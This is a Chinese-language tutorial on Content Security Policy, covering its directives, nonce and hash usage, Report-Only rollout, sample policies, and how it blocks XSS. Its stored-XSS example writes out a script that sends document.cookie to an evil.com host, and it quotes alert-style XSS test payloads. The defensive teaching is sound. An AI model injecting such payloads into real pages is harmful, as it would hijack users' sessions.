
一、概念一、什么是 CSPCSPContent Security Policy内容安全策略是一种浏览器端的安全机制通过设置 HTTP 响应头或 HTMLmeta标签告诉浏览器哪些资源可以加载和执行哪些行为被禁止。它可以有效防御 XSS、数据注入、点击劫持、代码注入等多种攻击。核心思想浏览器默认信任服务器返回的所有内容。CSP 打破了这一信任模型要求服务器明确声明允许的资源来源浏览器只执行白名单内的代码。二、CSP 解决什么问题1. 防御 XSS 攻击传统 XSS 防御依赖输出编码和输入过滤但这些措施可能被绕过。CSP 作为最后一道防线即使攻击者成功注入了scriptalert(1)/script如果 CSP 策略不允许内联脚本执行该脚本也不会运行。2. 防止数据泄露通过限制connect-src、img-src等指令可以阻止恶意脚本将窃取的数据发送到外部服务器。3. 防御点击劫持frame-ancestors指令可以控制页面是否允许被嵌入iframe从而防止点击劫持攻击。4. 限制不安全的 API可以禁止eval()、setTimeout(string)、new Function(string)等危险操作。三、CSP 的基本语法CSP 通过 HTTP 响应头或meta标签设置。一个策略由多个指令组成每个指令定义一类资源的允许来源。1. HTTP 响应头方式推荐Content-Security-Policy: 指令1 值1 值2; 指令2 值1 值2;例如Content-Security-Policy: default-src self; script-src self https://cdn.example.com; style-src self unsafe-inline;2. HTMLmeta标签方式有限制meta http-equivContent-Security-Policy contentdefault-src self; script-src self;注意meta方式不支持frame-ancestors、sandbox、report-uri等某些指令且无法发送违规报告。生产环境推荐使用 HTTP 头。四、常用指令详解指令作用示例default-src定义默认资源加载策略未指定的其他指令将继承该值。default-src selfscript-src定义可执行的 JavaScript 来源。script-src self unsafe-inline https://trusted.comstyle-src定义 CSS 样式表来源。style-src self unsafe-inlineimg-src定义图片来源。img-src * data:connect-src限制 AJAX、WebSocket、EventSource 等连接目标。connect-src self https://api.example.comfont-src定义字体文件来源。font-src self https://fonts.gstatic.comobject-src限制object、embed、applet等插件的来源。object-src nonemedia-src定义视频和音频来源。media-src self https://videos.comframe-src限制frame、iframe中嵌入页面的来源。frame-src self https://youtube.comframe-ancestors限制哪些页面可以嵌入当前页面防御点击劫持。frame-ancestors noneform-action限制表单提交的目标 URL。form-action selfbase-uri限制base标签的 URL。base-uri selfreport-uri指定违规报告的接收地址。report-uri /csp-reportsandbox对页面启用沙箱限制类似 iframe 的 sandbox 属性。sandbox allow-forms allow-scripts五、指令的值来源白名单值含义none禁止任何来源。self允许同源协议域名端口相同。unsafe-inline允许内联代码如script标签内的代码、内联onclick等。严重降低安全性不推荐使用。unsafe-eval允许eval()、setTimeout(string)、new Function(string)等动态代码执行。不推荐。nonce-base64值允许带有指定nonce属性的内联脚本或样式。sha256-哈希允许内容哈希匹配的内联脚本或样式。https://example.com允许指定域名的 HTTPS 资源。*.example.com允许指定域名的所有子域名。data:允许data:URI如data:image/png;base64,...。blob:允许blob:URI。六、内联脚本的处理nonce 和 hash为了防御 XSS我们通常不希望使用unsafe-inline。但实际开发中难免需要内联脚本CSP 提供了两种安全的方式方式一使用 nonce一次性随机数服务器每次生成页面时随机生成一个加密安全的 nonce 值并设置到 HTTP 头中Content-Security-Policy: script-src nonce-abc123然后在 HTML 中的内联脚本添加相同的nonce属性script nonceabc123 alert(这个脚本会被执行); /script注意攻击者无法猜测 nonce 值足够随机且不重复因此无法执行注入的脚本。方式二使用 hash内容哈希服务器计算内联脚本内容的哈希值SHA-256并添加到 CSP 头中Content-Security-Policy: script-src sha256-abc123...浏览器执行脚本前会计算其哈希如果匹配则执行。缺点是如果脚本内容发生变化如动态生成哈希会变需要同步更新 CSP 头。七、违规报告Report-Only 模式在正式启用 CSP 前建议使用Content-Security-Policy-Report-Only头进行测试。它不会阻止违规行为但会向指定 URL 发送违规报告。Content-Security-Policy-Report-Only: default-src self; report-uri /csp-report违规报告格式JSON{ csp-report: { document-uri: https://example.com/page.html, violated-directive: script-src self, blocked-uri: https://evil.com/malicious.js, line-number: 42 } }收集报告可以帮助发现页面中哪些资源违反了策略从而调整 CSP 配置最终平滑过渡到强制执行模式。八、CSP 配置示例与场景场景一严格策略推荐高安全性Content-Security-Policy: default-src none; script-src self; style-src self; img-src self data:; font-src self; connect-src self; frame-ancestors none; base-uri self; form-action self;禁止一切外部资源除同源。不允许内联脚本和eval。不允许被嵌入 iframe防点击劫持。场景二允许 CDN 和第三方脚本Content-Security-Policy: default-src self; script-src self https://cdn.example.com https://ajax.googleapis.com; style-src self https://cdn.example.com; img-src *; connect-src self https://api.example.com;场景三需要内联脚本使用 nonceContent-Security-Policy: script-src nonce-rnd0m123 strict-dynamic;配合 HTMLscript noncernd0m123.../scriptstrict-dynamic会信任由合法脚本动态创建的其他脚本简化配置。场景四仅报告模式测试用Content-Security-Policy-Report-Only: default-src self; report-uri /csp-report-endpoint九、CSP 可以防御的攻击类型攻击类型防御原理反射型 XSS注入的script无法执行除非策略允许unsafe-inline。存储型 XSS同上数据库中的恶意脚本无法执行。DOM 型 XSS限制内联脚本来源阻止innerHTML注入的脚本执行。数据外泄connect-src限制 AJAX 目标img-src限制图片目标防止窃取数据发送到外部。点击劫持frame-ancestors none禁止页面被嵌入 iframe。混合内容配合block-all-mixed-content强制升级 HTTPS。十、CSP 的局限性与绕过无法防御基于 HTML 标签属性的事件如onerror、onload如果策略允许unsafe-inline这些事件仍可执行。如果不允许img srcx onerroralert(1)不会执行因为事件本质是内联脚本。JSONP 接口可绕过如果策略允许script-src https://api.example.com且该域存在 JSONP 接口攻击者可能利用其执行代码。策略配置错误使用unsafe-inline或unsafe-eval严重削弱 CSP。来源白名单过于宽松如*或https:。浏览器兼容性旧版浏览器IE 10 及以下不支持 CSP。部分指令在新旧版本中行为差异。非脚本资源泄露CSP 不阻止通过link预加载、DNS 预取等方式泄露信息。十一、CSP 与其他安全机制的配合配合机制作用输出编码HTML 实体转义防止 XSS 注入的第一道防线。HttpOnly Cookie即使存在 XSSCookie 也无法被 JavaScript 读取。X-Frame-Options旧版浏览器的点击劫持防御CSP 的frame-ancestors是其替代。X-XSS-Protection已被 CSP 取代但部分旧浏览器依赖。Subresource Integrity (SRI)确保 CDN 加载的脚本未被篡改。十二、如何为现有网站启用 CSP步骤 1启用报告模式Content-Security-Policy-Report-Only: default-src self; report-uri /csp-report部署到生产环境收集违规报告。步骤 2分析报告调整策略查看哪些资源被阻止第三方脚本、内联样式等。决定是否允许添加白名单或修改代码。对于内联代码改用 nonce 或移入外部文件。步骤 3逐步收紧策略从宽松到严格例如default-src self https:; script-src self unsafe-inline移除unsafe-inline改用 nonce。设置default-src none逐条添加必要指令。步骤 4强制执行切换为Content-Security-Policy头监控一段时间确认无业务影响。十三、常见问题与调试问题解决方案页面空白或样式丢失可能是style-src未允许内联样式或外部 CSS。查看浏览器控制台错误信息。第三方脚本无法加载检查script-src是否包含该域名或是否缺少unsafe-inline。eval报错CSP 默认禁止eval如需启用需添加unsafe-eval不推荐。改为不使用eval的代码。WebSocket 连接失败检查connect-src是否包含 WebSocket 域名注意ws://和wss://协议。报告接收不到检查report-uri地址是否可访问是否支持 POST JSON 请求。调试技巧打开浏览器开发者工具的 Console 面板CSP 违规信息会直接显示并提供被阻止的资源 URL 和违反的指令。十四、总结CSP 是现代 Web 安全中防御 XSS 等注入攻击的最强力手段之一但它不是“银弹”。它需要与输出编码、输入验证、HttpOnly Cookie 等机制配合形成纵深防御体系。核心要点拒绝unsafe-inline改用 nonce 或 hash。拒绝unsafe-eval重构代码避免使用eval。使用报告模式逐步收紧策略避免影响业务。限制资源来源到最小必要范围例如default-src none 显式白名单。正确配置的 CSP 可以阻止绝大多数 XSS 攻击即使攻击者成功注入了脚本浏览器也不会执行。开发者和安全工程师应将其作为 Web 应用的标配安全措施。本文仅用于安全学习与技术研究CSP 配置需根据具体业务场景调整避免过度收紧导致功能失效。二、防御XSS漏洞CSPContent Security Policy是浏览器提供的一种安全机制通过白名单方式限制页面可执行的脚本、样式、图像等资源的来源从而有效阻止 XSS 攻击即使攻击者成功注入了恶意脚本浏览器也不会执行。一、XSS 攻击的根本原因与 CSP 的解决思路XSS 的本质攻击者能够将未经信任的脚本例如scriptalert(1)/script注入到页面中而浏览器无条件执行该脚本。CSP 的解决思路服务器明确告诉浏览器“只有来自特定来源的脚本才允许执行内联脚本一律禁止除非有 nonce/hash”。这样攻击者注入的任何脚本都无法运行。二、CSP 防御 XSS 的核心指令指令作用针对 XSSscript-src控制哪些 JavaScript 可以被执行。最关键指令。default-src如果未指定script-src则继承其值。object-src控制 Flash 等插件可用于 XSS。base-uri限制base标签防止恶意修改相对路径。report-uri/report-to收集违规报告用于监控和调试。三、典型 CSP 策略示例及 XSS 阻断效果示例 1完全禁止内联脚本仅允许同源外部脚本Content-Security-Policy: default-src self; script-src self内联scriptalert(1)/script→被阻止外部脚本https://trusted.com/lib.js→被阻止不同源同源脚本/static/app.js→允许示例 2允许特定 CDN 的脚本仍禁止内联Content-Security-Policy: script-src self https://cdn.example.com从https://cdn.example.com加载的脚本 →允许内联脚本 →被阻止其他任何来源的脚本 →被阻止示例 3使用 nonce 允许特定内联脚本安全方式Content-Security-Policy: script-src nonce-r4nd0m123script noncer4nd0m123 // 这个脚本会被执行 initPage(); /script攻击者注入的脚本没有正确的nonce→被阻止示例 4使用哈希hash允许特定内联脚本Content-Security-Policy: script-src sha256-abc123...脚本内容哈希必须与策略中声明的完全一致。攻击者无法预测哈希。四、CSP 阻断 XSS 的实际案例假设存在存储型 XSS攻击者在留言板提交scriptfetch(https://evil.com/steal?cdocument.cookie)/script。没有 CSP管理员访问留言板 → 脚本执行 → Cookie 被发送给攻击者。有 CSP例如script-src self浏览器检测到内联脚本但策略不允许unsafe-inline因此脚本不会执行。控制台会显示 CSP 违规报告。即使攻击者使用事件属性如img srcx onerroralert(1)由于事件属性也属于内联脚本同样会被script-src限制除非策略包含unsafe-hashes但极少配置。五、CSP 的局限性不能完全依赖必须正确配置如果策略包含unsafe-inline或unsafe-eval则无法防御 XSS。策略太宽松例如script-src *或https:允许任何 HTTPS 源的脚本攻击者可能通过 CDN 或其他合法域上传恶意脚本。浏览器兼容性IE 10 及以下不支持 CSP。无法防御 DOM 型 XSS如果漏洞是因为innerHTML插入的标签没有执行脚本实际上 CSP 会阻止内联脚本但无法阻止img加载外部资源或 CSS 表达式等。需要结合其他措施。数据外泄风险仍然存在即使无法执行脚本攻击者仍可能通过meta刷新、CSS 背景等方式泄露数据但 CSP 的connect-src、img-src可以限制这些通道。六、CSP 配合其他防御 XSS 的措施措施作用输出编码HTML 实体转义防止恶意内容被浏览器解析为 HTML/JS。HttpOnly Cookie防止 XSS 窃取 Cookie但不能阻止其他操作。输入过滤减少注入点但不是根本解决。CSP最后一道防线即使注入也能阻止执行。X-XSS-Protection已废弃但部分旧浏览器仍有作用。七、总结CSP 是防御 XSS 的强大纵深防御层它通过浏览器端强制执行资源白名单阻断恶意脚本执行。正确配置 CSP避免使用unsafe-inline和unsafe-eval可以有效阻止反射型、存储型乃至部分 DOM 型 XSS。但 CSP 需要与输出编码、输入验证等结合形成完整的防护体系。对于现代 Web 应用启用 CSP 已被视为安全最佳实践。推荐配置高安全性Content-Security-Policy: default-src none; script-src self; style-src self; img-src self data:; connect-src self; frame-ancestors none; base-uri self; form-action self